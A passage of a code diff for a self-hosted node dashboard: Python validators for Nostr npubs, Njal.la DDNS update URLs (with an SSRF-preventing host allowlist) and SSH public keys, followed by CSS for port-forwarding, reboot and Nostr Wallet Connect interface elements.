return None
|
||||
return hrp, bytes(converted)
|
||||
|
||||
|
||||
def _validate_npub(value: str) -> bool:
|
||||
"""Return ``True`` iff *value* is a valid NIP-19 Nostr npub.
|
||||
|
||||
Checks:
|
||||
- Lowercase ``npub`` HRP.
|
||||
- Valid bech32 charset (no uppercase, no invalid chars).
|
||||
- Valid bech32 checksum.
|
||||
- Exactly 32 decoded payload bytes (256-bit public key).
|
||||
- Retains the original regex as a fast pre-filter.
|
||||
"""
|
||||
if not NPUB_RE.fullmatch(value):
|
||||
return False
|
||||
result = _bech32_decode(value)
|
||||
if result is None:
|
||||
return False
|
||||
hrp, payload = result
|
||||
return hrp == "npub" and len(payload) == 32
|
||||
|
||||
|
||||
# ── DDNS URL validation ────────────────────────────────────────────────────────
|
||||
|
||||
_DDNS_URL_MAX_LEN = 2048
|
||||
_DDNS_CONTROL_RE = re.compile(r"[\x00-\x1f\x7f]")
|
||||
|
||||
# Allowlist: only the official Njal.la provider hostnames are accepted for
|
||||
# DDNS update URLs. Any other host would allow SSRF against the Hub's
|
||||
# internal network.
|
||||
_DDNS_ALLOWED_HOSTNAMES: frozenset[str] = frozenset(["njal.la", "www.njal.la"])
|
||||
|
||||
|
||||
def _validate_ddns_url(url: str) -> str:
|
||||
"""Validate *url* as a safe DDNS update URL and return it normalised.
|
||||
|
||||
Rules:
|
||||
- Must be a valid URL parseable by urllib.parse.
|
||||
- Scheme must be ``https`` (case-insensitive).
|
||||
- No userinfo (credentials must not be embedded in the URL).
|
||||
- No fragment.
|
||||
- No control characters.
|
||||
- Must not exceed ``_DDNS_URL_MAX_LEN`` bytes.
|
||||
- Hostname must be the exact Njal.la provider hostname (njal.la or www.njal.la).
|
||||
- Port must be absent or the default HTTPS port 443.
|
||||
- No percent-encoded null bytes.
|
||||
|
||||
Raises ``ValueError`` with a safe (non-secret) message on failure.
|
||||
"""
|
||||
if not url:
|
||||
raise ValueError("DDNS URL must not be empty")
|
||||
if len(url) > _DDNS_URL_MAX_LEN:
|
||||
raise ValueError("DDNS URL exceeds maximum length")
|
||||
if _DDNS_CONTROL_RE.search(url):
|
||||
raise ValueError("DDNS URL contains control characters")
|
||||
try:
|
||||
parsed = urllib.parse.urlparse(url)
|
||||
except Exception:
|
||||
raise ValueError("DDNS URL could not be parsed")
|
||||
if parsed.scheme.lower() != "https":
|
||||
raise ValueError("DDNS URL must use the https scheme")
|
||||
if parsed.username or parsed.password:
|
||||
raise ValueError("DDNS URL must not contain credentials")
|
||||
if parsed.fragment:
|
||||
raise ValueError("DDNS URL must not contain a fragment")
|
||||
if parsed.port is not None and parsed.port != 443:
|
||||
raise ValueError("DDNS URL must use the default HTTPS port")
|
||||
hostname = parsed.hostname or ""
|
||||
if not hostname:
|
||||
raise ValueError("DDNS URL must contain a hostname")
|
||||
# Reject raw IP addresses
|
||||
try:
|
||||
ipaddress.ip_address(hostname)
|
||||
raise ValueError("DDNS URL hostname must not be a raw IP address")
|
||||
except ValueError as exc:
|
||||
if "raw IP" in str(exc):
|
||||
raise
|
||||
# Allowlist: only Njal.la
|
||||
if hostname.lower() not in _DDNS_ALLOWED_HOSTNAMES:
|
||||
raise ValueError(
|
||||
f"DDNS URL hostname is not an allowed Njal.la host "
|
||||
f"(got {hostname!r})"
|
||||
)
|
||||
if "%00" in url.lower():
|
||||
raise ValueError("DDNS URL must not contain encoded null bytes")
|
||||
# Reject any remaining $ expressions — after ${IP} substitution there
|
||||
# must be none. Callers that store ${IP} placeholder URLs must substitute
|
||||
# before calling this function.
|
||||
if "$" in url:
|
||||
raise ValueError("DDNS URL must not contain $ expressions")
|
||||
# Require the exact /update/ path used by Njal.la
|
||||
if parsed.path != "/update/":
|
||||
raise ValueError("DDNS URL path must be exactly /update/")
|
||||
return url
|
||||
|
||||
|
||||
# ── SSH public-key validation ─────────────────────────────────────────────────
|
||||
|
||||
_SSH_PUBKEY_ALGORITHMS = frozenset([
|
||||
"ssh-ed25519",
|
||||
"ecdsa-sha2-nistp256",
|
||||
"ecdsa-sha2-nistp384",
|
||||
"ecdsa-sha2-nistp521",
|
||||
"sk-ssh-ed25519@openssh.com",
|
||||
])
|
||||
|
||||
|
||||
def _validate_ssh_pubkey(key: str) -> str:
|
||||
"""Validate *key* as a single OpenSSH public key and return it normalised.
|
||||
|
||||
Accepts only single-line keys with a supported algorithm, valid base64
|
||||
payload, and an optional comment. Rejects options, multiple lines,
|
||||
control characters, and unsupported algorithms.
|
||||
|
||||
Raises ``ValueError`` with a safe message on failure.
|
||||
"""
|
||||
key = key.strip()
|
||||
if not key:
|
||||
raise ValueError("SSH public key must not be empty")
|
||||
if _DDNS_CONTROL_RE.search(key):
|
||||
raise ValueError("SSH public key contains control characters")
|
||||
if "\n" in key or "\r" in key:
|
||||
raise ValueError("SSH public key must be a single line")
|
||||
parts = key.split()
|
||||
if len(parts) < 2:
|
||||
raise ValueError("SSH public key is malformed")
|
||||
algo, b64 = parts[0], parts[1]
|
||||
if algo not in _SSH_PUBKEY_ALGORITHMS:
|
||||
raise ValueError(f"Unsupported SSH key algorithm: {algo!r}")
|
||||
try:
|
||||
decoded = base64.b64decode(b64, validate=True)
|
||||
except Exception:
|
||||
raise ValueError("SSH public key payload is not valid base64")
|
||||
if len(decoded) < 20:
|
||||
raise ValueError("SSH public key payload is too short")
|
||||
return key
|
||||
+1745
-384
File diff suppressed because it is too large.
Load diff
@@ -171,3 +171,67 @@ domain-field-actions {
|
||||
.port-req-status {
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
/* ── Port-forwarding instructions ─────────────────────────────────── */
|
||||
|
||||
.port-req-steps {
|
||||
margin: 4px 0 12px;
|
||||
padding-left: 20px;
|
||||
font-size: 0.84rem;
|
||||
color: var(--text-secondary);
|
||||
line-height: 1.65;
|
||||
}
|
||||
|
||||
.port-req-steps li {
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
|
||||
.port-proto-badge {
|
||||
display: inline-block;
|
||||
font-family: 'JetBrains Mono', 'Fira Code', 'Source Code Pro', monospace;
|
||||
font-size: 0.72rem;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.04em;
|
||||
padding: 2px 7px;
|
||||
border-radius: 5px;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.port-proto-badge--tcp {
|
||||
color: #6dbf8b;
|
||||
background: rgba(109, 191, 139, 0.12);
|
||||
border: 1px solid rgba(109, 191, 139, 0.4);
|
||||
}
|
||||
|
||||
.port-proto-badge--udp {
|
||||
color: #6aa9e0;
|
||||
background: rgba(106, 169, 224, 0.12);
|
||||
border: 1px solid rgba(106, 169, 224, 0.4);
|
||||
}
|
||||
|
||||
.port-proto-badge--both {
|
||||
color: #e5a50a;
|
||||
background: rgba(229, 165, 10, 0.12);
|
||||
border: 1px solid rgba(229, 165, 10, 0.45);
|
||||
}
|
||||
|
||||
.port-proto-note {
|
||||
display: block;
|
||||
margin-top: 3px;
|
||||
font-size: 0.68rem;
|
||||
color: var(--text-dim);
|
||||
text-transform: none;
|
||||
letter-spacing: 0;
|
||||
}
|
||||
|
||||
/* ── Wallet Connections unique-hostname warning ───────────────────── */
|
||||
|
||||
.domain-nwc-warning {
|
||||
margin-bottom: 14px;
|
||||
padding: 10px 14px;
|
||||
background: rgba(255, 180, 0, 0.10);
|
||||
border: 1px solid var(--warning-color, #f59e0b);
|
||||
border-radius: 8px;
|
||||
font-size: 0.88rem;
|
||||
line-height: 1.6;
|
||||
}
|
||||
@@ -29,6 +29,15 @@
|
||||
color: var(--text-primary);
|
||||
}
|
||||
|
||||
.title-group {
|
||||
display: flex;
|
||||
flex-direction: row;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 6px 10px;
|
||||
}
|
||||
|
||||
.header-buttons {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
@@ -45,6 +54,23 @@
|
||||
letter-spacing: 0.03em;
|
||||
}
|
||||
|
||||
/* ── OS Version Badge — identical styling to the version badge ────
|
||||
── shown next to titles in the service modal windows ──────────── */
|
||||
.os-version-badge {
|
||||
background-color: rgba(255, 255, 255, 0.06);
|
||||
color: var(--text-secondary);
|
||||
font-size: 0.72rem;
|
||||
font-weight: 600;
|
||||
padding: 2px 10px;
|
||||
border-radius: 12px;
|
||||
border: 1px solid rgba(255, 255, 255, 0.08);
|
||||
letter-spacing: 0.02em;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
white-space: nowrap;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
/* ── IP bar ─────────────────────────────────────────────────────── */
|
||||
|
||||
.ip-bar {
|
||||
@@ -91,3 +117,30 @@
|
||||
border-color: var(--accent-color);
|
||||
color: var(--accent-color);
|
||||
}
|
||||
|
||||
/* ── Header reboot button ───────────────────────────────────────── */
|
||||
|
||||
.btn-header-reboot {
|
||||
background: transparent;
|
||||
border: 1px solid rgba(184, 125, 0, 0.35);
|
||||
color: #c98d08;
|
||||
font-size: 0.78rem;
|
||||
font-weight: 600;
|
||||
padding: 4px 12px;
|
||||
border-radius: var(--radius-btn);
|
||||
cursor: pointer;
|
||||
transition: border-color 0.15s, color 0.15s, background-color 0.15s;
|
||||
}
|
||||
|
||||
.btn-header-reboot:hover {
|
||||
border-color: #b87d00;
|
||||
color: #e0a010;
|
||||
background-color: rgba(184, 125, 0, 0.1);
|
||||
}
|
||||
|
||||
@media (max-width: 480px) {
|
||||
.btn-header-reboot {
|
||||
padding: 4px 8px;
|
||||
font-size: 0.72rem;
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,56 @@
|
||||
/* ── NWC Benefits Grid ─────────────────────────────────────────── */
|
||||
|
||||
.nwc-benefits-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(3, 1fr);
|
||||
gap: 12px;
|
||||
margin-top: 14px;
|
||||
}
|
||||
|
||||
.nwc-benefit-item {
|
||||
background: rgba(255, 255, 255, 0.02);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 10px;
|
||||
padding: 10px 14px;
|
||||
display: flex;
|
||||
gap: 12px;
|
||||
align-items: flex-start;
|
||||
transition: background-color 0.2s;
|
||||
}
|
||||
|
||||
.nwc-benefit-item:hover {
|
||||
background: rgba(255, 255, 255, 0.04);
|
||||
}
|
||||
|
||||
.nwc-benefit-icon {
|
||||
font-size: 1.25rem;
|
||||
margin-top: 2px;
|
||||
opacity: 0.9;
|
||||
}
|
||||
|
||||
.nwc-benefit-content strong {
|
||||
display: block;
|
||||
font-size: 0.82rem;
|
||||
color: var(--text-primary);
|
||||
margin-bottom: 2px;
|
||||
}
|
||||
|
||||
.nwc-benefit-content p {
|
||||
margin: 0;
|
||||
font-size: 0.75rem;
|
||||
line-height: 1.45;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
@media (max-width: 800px) {
|
||||
.nwc-benefits-grid {
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
}
|
||||
|
||||
/* ── Update modal ────────────────────────────────────────────────── */
|
||||
|
||||
|
||||
.modal-overlay {
|
||||
display: none;
|
||||
position: fixed;
|
||||
@@ -102,6 +153,48 @@ button.btn-reboot:hover:not(:disabled) {
|
||||
background-color: #529E7E;
|
||||
}
|
||||
|
||||
/* Restart = AMBER (manual restart action) */
|
||||
.btn-restart-amber {
|
||||
background-color: #b87d00;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.btn-restart-amber:hover:not(:disabled) {
|
||||
background-color: #9a6800;
|
||||
}
|
||||
|
||||
/* Restart conflict warning box */
|
||||
.restart-conflict-box {
|
||||
background-color: rgba(180, 100, 0, 0.12);
|
||||
border-left: 3px solid #c97a00;
|
||||
border-radius: 6px;
|
||||
padding: 12px 14px;
|
||||
margin-bottom: 14px;
|
||||
}
|
||||
|
||||
.restart-conflict-title {
|
||||
font-size: 0.88rem;
|
||||
font-weight: 700;
|
||||
color: #e69000;
|
||||
margin: 0 0 6px 0;
|
||||
}
|
||||
|
||||
.restart-conflict-desc {
|
||||
font-size: 0.83rem;
|
||||
color: var(--text-secondary);
|
||||
line-height: 1.5;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* Reboot error card actions row */
|
||||
.reboot-error-actions {
|
||||
display: flex;
|
||||
gap: 12px;
|
||||
justify-content: center;
|
||||
flex-wrap: wrap;
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.btn-save {
|
||||
background-color: var(--yellow);
|
||||
color: #0A1A10;
|
||||
@@ -158,6 +251,19 @@ button.btn-reboot:hover:not(:disabled) {
|
||||
gap: 10px;
|
||||
}
|
||||
|
||||
.creds-title-version-badge {
|
||||
background-color: rgba(255, 255, 255, 0.06);
|
||||
color: var(--text-secondary);
|
||||
font-size: 0.72rem;
|
||||
font-weight: 600;
|
||||
padding: 2px 10px;
|
||||
border-radius: 12px;
|
||||
border: 1px solid rgba(255, 255, 255, 0.08);
|
||||
letter-spacing: 0.02em;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.creds-title-icon {
|
||||
width: 28px;
|
||||
height: 28px;
|
||||
@@ -181,6 +287,10 @@ button.btn-reboot:hover:not(:disabled) {
|
||||
color: var(--text-primary);
|
||||
}
|
||||
|
||||
.creds-dialog--wide {
|
||||
max-width: 980px;
|
||||
}
|
||||
|
||||
.creds-body {
|
||||
padding: 24px 28px;
|
||||
overflow-y: auto;
|
||||
@@ -436,3 +546,593 @@ button.btn-reboot:hover:not(:disabled) {
|
||||
color: var(--text-secondary);
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
.nwc-secret-warning {
|
||||
margin: 0 0 14px;
|
||||
padding: 10px 12px;
|
||||
border-radius: 8px;
|
||||
border: 1px solid #f59e0b;
|
||||
background: rgba(245, 158, 11, 0.12);
|
||||
color: #fbbf24;
|
||||
font-size: 0.86rem;
|
||||
}
|
||||
|
||||
/* ── Lightning Wallet Connections: tabbed shell ─────────────────── */
|
||||
|
||||
.nwc-tabs-bar {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
flex-wrap: wrap;
|
||||
gap: 12px;
|
||||
margin: -6px 0 20px;
|
||||
padding-bottom: 12px;
|
||||
border-bottom: 1px solid var(--border-color);
|
||||
}
|
||||
|
||||
.nwc-tabs-btns {
|
||||
display: flex;
|
||||
gap: 4px;
|
||||
background: rgba(255, 255, 255, 0.03);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 10px;
|
||||
padding: 4px;
|
||||
}
|
||||
|
||||
.nwc-tab-btn {
|
||||
background: none;
|
||||
border: none;
|
||||
color: var(--text-secondary);
|
||||
font-size: 0.86rem;
|
||||
font-weight: 600;
|
||||
padding: 8px 16px;
|
||||
border-radius: 7px;
|
||||
cursor: pointer;
|
||||
white-space: nowrap;
|
||||
transition: background-color 0.15s ease, color 0.15s ease;
|
||||
}
|
||||
|
||||
.nwc-tab-btn:hover:not(.active) {
|
||||
color: var(--text-primary);
|
||||
background: rgba(255, 255, 255, 0.04);
|
||||
}
|
||||
|
||||
.nwc-tab-btn.active {
|
||||
background: var(--accent-color);
|
||||
color: #0A1A10;
|
||||
}
|
||||
|
||||
.nwc-header-chips {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.nwc-header-chip {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 6px;
|
||||
font-size: 0.75rem;
|
||||
color: var(--text-secondary);
|
||||
background: rgba(255, 255, 255, 0.03);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 999px;
|
||||
padding: 4px 10px;
|
||||
max-width: 260px;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.nwc-header-chip--domain {
|
||||
font-family: 'JetBrains Mono', 'Fira Code', 'Source Code Pro', monospace;
|
||||
font-size: 0.72rem;
|
||||
}
|
||||
|
||||
.nwc-header-chip--warn {
|
||||
border-color: rgba(245, 158, 11, 0.5);
|
||||
color: #fbbf24;
|
||||
}
|
||||
|
||||
.nwc-tab-panel {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.nwc-tab-panel.active {
|
||||
display: block;
|
||||
animation: nwc-tab-fade 0.16s ease-out;
|
||||
}
|
||||
|
||||
@keyframes nwc-tab-fade {
|
||||
from { opacity: 0; transform: translateY(4px); }
|
||||
to { opacity: 1; transform: translateY(0); }
|
||||
}
|
||||
|
||||
/* Setup tab: first section shouldn't double up on top padding */
|
||||
#nwc-tab-setup .svc-detail-section:first-child {
|
||||
padding-top: 0;
|
||||
margin-top: 0;
|
||||
border-top: none;
|
||||
}
|
||||
|
||||
.nwc-tab-intro {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: stretch;
|
||||
gap: 16px;
|
||||
margin-bottom: 20px;
|
||||
padding-bottom: 20px;
|
||||
border-bottom: 1px solid var(--border-color);
|
||||
}
|
||||
|
||||
.nwc-tab-intro-title {
|
||||
font-size: 1rem;
|
||||
font-weight: 700;
|
||||
color: var(--text-primary);
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
|
||||
.nwc-tab-intro-desc {
|
||||
margin: 0;
|
||||
font-size: 0.85rem;
|
||||
line-height: 1.5;
|
||||
color: var(--text-secondary);
|
||||
max-width: 62ch;
|
||||
}
|
||||
|
||||
/* ── Wallet toolbar ─────────────────────────────────────────────── */
|
||||
|
||||
.nwc-toolbar {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
gap: 12px;
|
||||
flex-wrap: wrap;
|
||||
margin-bottom: 14px;
|
||||
}
|
||||
|
||||
.nwc-toolbar-count {
|
||||
font-size: 0.78rem;
|
||||
font-weight: 700;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.06em;
|
||||
color: var(--text-dim);
|
||||
}
|
||||
|
||||
.nwc-toolbar-actions {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
}
|
||||
|
||||
.nwc-toolbar-actions .matrix-action-btn,
|
||||
.nwc-toolbar-actions .matrix-form-back {
|
||||
padding: 8px 14px;
|
||||
font-size: 0.82rem;
|
||||
}
|
||||
|
||||
/* ── Domain-required callout ────────────────────────────────────── */
|
||||
|
||||
.nwc-domain-required {
|
||||
border: 1px solid rgba(245, 158, 11, 0.4);
|
||||
background: rgba(245, 158, 11, 0.08);
|
||||
border-radius: 10px;
|
||||
padding: 14px 16px;
|
||||
margin-bottom: 16px;
|
||||
font-size: 0.86rem;
|
||||
color: var(--text-primary);
|
||||
}
|
||||
|
||||
.nwc-domain-required-body {
|
||||
margin-top: 6px;
|
||||
color: var(--text-secondary);
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
.nwc-domain-required-btn {
|
||||
margin-top: 12px;
|
||||
}
|
||||
|
||||
/* ── Empty / disabled states ────────────────────────────────────── */
|
||||
|
||||
.nwc-empty-state,
|
||||
.nwc-disabled-state {
|
||||
text-align: center;
|
||||
padding: 36px 24px;
|
||||
border: 1px dashed var(--border-color);
|
||||
border-radius: 12px;
|
||||
background: rgba(255, 255, 255, 0.015);
|
||||
}
|
||||
|
||||
.nwc-empty-icon,
|
||||
.nwc-disabled-icon {
|
||||
font-size: 2rem;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.nwc-empty-title,
|
||||
.nwc-disabled-title {
|
||||
font-size: 1rem;
|
||||
font-weight: 700;
|
||||
color: var(--text-primary);
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
|
||||
.nwc-empty-desc,
|
||||
.nwc-disabled-desc {
|
||||
margin: 0 auto 14px;
|
||||
max-width: 46ch;
|
||||
font-size: 0.86rem;
|
||||
line-height: 1.55;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
/* ── Wallet cards ───────────────────────────────────────────────── */
|
||||
|
||||
.nwc-wallet-list {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fill, minmax(340px, 1fr));
|
||||
gap: 12px;
|
||||
margin-top: 12px;
|
||||
}
|
||||
|
||||
.nwc-wallet-card {
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 12px;
|
||||
padding: 14px 16px;
|
||||
background: rgba(255, 255, 255, 0.02);
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
transition: border-color 0.15s ease;
|
||||
}
|
||||
|
||||
.nwc-wallet-card:hover {
|
||||
border-color: rgba(255, 255, 255, 0.16);
|
||||
}
|
||||
|
||||
.nwc-wallet-card-head {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
justify-content: space-between;
|
||||
gap: 10px;
|
||||
margin-bottom: 12px;
|
||||
}
|
||||
|
||||
.nwc-wallet-card-title {
|
||||
font-weight: 700;
|
||||
font-size: 0.95rem;
|
||||
color: var(--text-primary);
|
||||
word-break: break-word;
|
||||
}
|
||||
|
||||
.nwc-wallet-chips {
|
||||
display: flex;
|
||||
gap: 6px;
|
||||
flex-wrap: wrap;
|
||||
justify-content: flex-end;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.nwc-wallet-chip {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
font-size: 0.72rem;
|
||||
font-weight: 700;
|
||||
border-radius: 999px;
|
||||
padding: 4px 10px;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.nwc-wallet-chip--balance {
|
||||
background: rgba(109, 191, 139, 0.14);
|
||||
color: var(--green);
|
||||
font-family: 'JetBrains Mono', 'Fira Code', 'Source Code Pro', monospace;
|
||||
}
|
||||
|
||||
.nwc-wallet-chip--pending {
|
||||
background: rgba(245, 158, 11, 0.14);
|
||||
color: #fbbf24;
|
||||
}
|
||||
|
||||
.nwc-wallet-address {
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
|
||||
.nwc-wallet-address .creds-value {
|
||||
font-size: 0.82rem;
|
||||
padding: 9px 12px;
|
||||
}
|
||||
|
||||
.nwc-wallet-address .creds-copy-btn {
|
||||
margin-top: 5px;
|
||||
padding: 7px 12px;
|
||||
}
|
||||
|
||||
.nwc-wallet-actions {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
flex-wrap: wrap;
|
||||
margin-top: 12px;
|
||||
padding-top: 12px;
|
||||
border-top: 1px solid var(--border-color);
|
||||
}
|
||||
|
||||
.nwc-wallet-actions-spacer {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.nwc-wallet-actions .matrix-form-back,
|
||||
.nwc-wallet-actions .btn-close-modal,
|
||||
.nwc-wallet-actions .matrix-action-btn {
|
||||
padding: 7px 12px;
|
||||
font-size: 0.8rem;
|
||||
}
|
||||
|
||||
.nwc-wallet-danger-btn {
|
||||
color: #f08a8a;
|
||||
}
|
||||
|
||||
.nwc-wallet-danger-btn:hover:not(:disabled) {
|
||||
background-color: rgba(220, 80, 80, 0.14);
|
||||
color: #ff9d9d;
|
||||
}
|
||||
|
||||
/* ── NWC LNURL share / download view ───────────────────────────── */
|
||||
|
||||
.nwc-share-actions {
|
||||
display: flex;
|
||||
gap: 8px;
|
||||
flex-wrap: wrap;
|
||||
margin-top: 14px;
|
||||
}
|
||||
|
||||
.nwc-share-actions .matrix-form-back,
|
||||
.nwc-share-actions .matrix-form-submit {
|
||||
padding: 8px 12px;
|
||||
font-size: 0.82rem;
|
||||
}
|
||||
|
||||
.nwc-lnurl-value {
|
||||
font-size: 0.72rem;
|
||||
word-break: break-all;
|
||||
}
|
||||
|
||||
.nwc-share-formats-hint {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
/* ── NWC Liquidity Guide (collapsible) ──────────────────────────── */
|
||||
|
||||
.nwc-liquidity-details {
|
||||
margin-top: 20px;
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 12px;
|
||||
background: rgba(255, 255, 255, 0.015);
|
||||
}
|
||||
|
||||
.nwc-liquidity-summary {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
padding: 14px 16px;
|
||||
cursor: pointer;
|
||||
list-style: none;
|
||||
color: var(--text-primary);
|
||||
font-size: 0.9rem;
|
||||
}
|
||||
|
||||
.nwc-liquidity-summary::-webkit-details-marker {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.nwc-liquidity-summary::after {
|
||||
content: "▸";
|
||||
margin-left: auto;
|
||||
color: var(--text-dim);
|
||||
transition: transform 0.15s ease;
|
||||
}
|
||||
|
||||
.nwc-liquidity-details[open] .nwc-liquidity-summary::after {
|
||||
transform: rotate(90deg);
|
||||
}
|
||||
|
||||
.nwc-liquidity-summary:hover {
|
||||
background: rgba(255, 255, 255, 0.02);
|
||||
border-radius: 12px;
|
||||
}
|
||||
|
||||
.nwc-liquidity-icon {
|
||||
font-size: 22px;
|
||||
}
|
||||
|
||||
.nwc-liquidity-subtitle {
|
||||
display: block;
|
||||
margin-top: 2px;
|
||||
font-size: 0.75rem;
|
||||
font-weight: 400;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.nwc-liquidity-guide-card {
|
||||
padding: 0 16px 16px;
|
||||
color: var(--text-primary);
|
||||
}
|
||||
|
||||
.nwc-liquidity-body {
|
||||
font-size: 0.82rem;
|
||||
line-height: 1.55;
|
||||
margin: 0 0 12px;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.nwc-liquidity-steps {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 10px;
|
||||
margin-bottom: 14px;
|
||||
}
|
||||
|
||||
.nwc-liquidity-step {
|
||||
display: flex;
|
||||
gap: 10px;
|
||||
align-items: flex-start;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.nwc-liquidity-step-desc {
|
||||
margin: 2px 0 0;
|
||||
color: var(--text-secondary);
|
||||
font-size: 0.78rem;
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
.step-num {
|
||||
background: var(--accent-color);
|
||||
color: #0A1A10;
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
border-radius: 50%;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
font-weight: 700;
|
||||
font-size: 0.75rem;
|
||||
flex-shrink: 0;
|
||||
margin-top: 1px;
|
||||
}
|
||||
|
||||
.nwc-liquidity-action {
|
||||
background: rgba(109, 191, 139, 0.08);
|
||||
border-left: 3px solid var(--green);
|
||||
padding: 10px 12px;
|
||||
border-radius: 0 8px 8px 0;
|
||||
font-size: 0.82rem;
|
||||
}
|
||||
|
||||
.nwc-liquidity-analogy {
|
||||
margin: 0 0 10px;
|
||||
font-size: 0.8rem;
|
||||
line-height: 1.45;
|
||||
}
|
||||
|
||||
.nwc-rtl-btn {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 6px;
|
||||
background: var(--border-color);
|
||||
color: var(--text-primary);
|
||||
border: none;
|
||||
padding: 8px 14px;
|
||||
border-radius: 8px;
|
||||
font-size: 0.8rem;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.nwc-rtl-btn:hover {
|
||||
background: #1c2a24;
|
||||
}
|
||||
|
||||
/* ── NWC Connect Guide (shown after wallet creation) ────────────── */
|
||||
|
||||
.nwc-connect-guide {
|
||||
margin-top: 16px;
|
||||
padding: 16px;
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 12px;
|
||||
background: rgba(109, 191, 139, 0.04);
|
||||
}
|
||||
|
||||
.nwc-connect-guide-title {
|
||||
font-size: 1rem;
|
||||
font-weight: 700;
|
||||
color: var(--text-primary);
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.nwc-connect-guide-intro {
|
||||
margin: 0 0 14px;
|
||||
font-size: 0.85rem;
|
||||
line-height: 1.55;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.nwc-connect-steps {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 10px;
|
||||
margin-bottom: 14px;
|
||||
}
|
||||
|
||||
.nwc-connect-step {
|
||||
display: flex;
|
||||
gap: 10px;
|
||||
align-items: flex-start;
|
||||
font-size: 0.86rem;
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
.nwc-step-num {
|
||||
background: var(--accent-color);
|
||||
color: #0A1A10;
|
||||
width: 22px;
|
||||
height: 22px;
|
||||
border-radius: 50%;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
font-weight: 700;
|
||||
font-size: 0.78rem;
|
||||
flex-shrink: 0;
|
||||
margin-top: 2px;
|
||||
}
|
||||
|
||||
.nwc-connect-note {
|
||||
background: rgba(245, 158, 11, 0.08);
|
||||
border-left: 3px solid #f59e0b;
|
||||
padding: 10px 12px;
|
||||
border-radius: 0 8px 8px 0;
|
||||
font-size: 0.8rem;
|
||||
line-height: 1.5;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.nwc-connect-note strong {
|
||||
color: #fbbf24;
|
||||
}
|
||||
|
||||
/* ── Narrow screens ─────────────────────────────────────────────── */
|
||||
|
||||
@media (max-width: 720px) {
|
||||
.nwc-tabs-bar {
|
||||
align-items: stretch;
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.nwc-tabs-btns {
|
||||
justify-content: stretch;
|
||||
}
|
||||
|
||||
.nwc-tab-btn {
|
||||
flex: 1;
|
||||
padding: 8px 10px;
|
||||
}
|
||||
|
||||
.nwc-wallet-list {
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
|
||||
.nwc-wallet-card-head {
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.nwc-wallet-chips {
|
||||
justify-content: flex-start;
|
||||
}
|
||||
|
||||
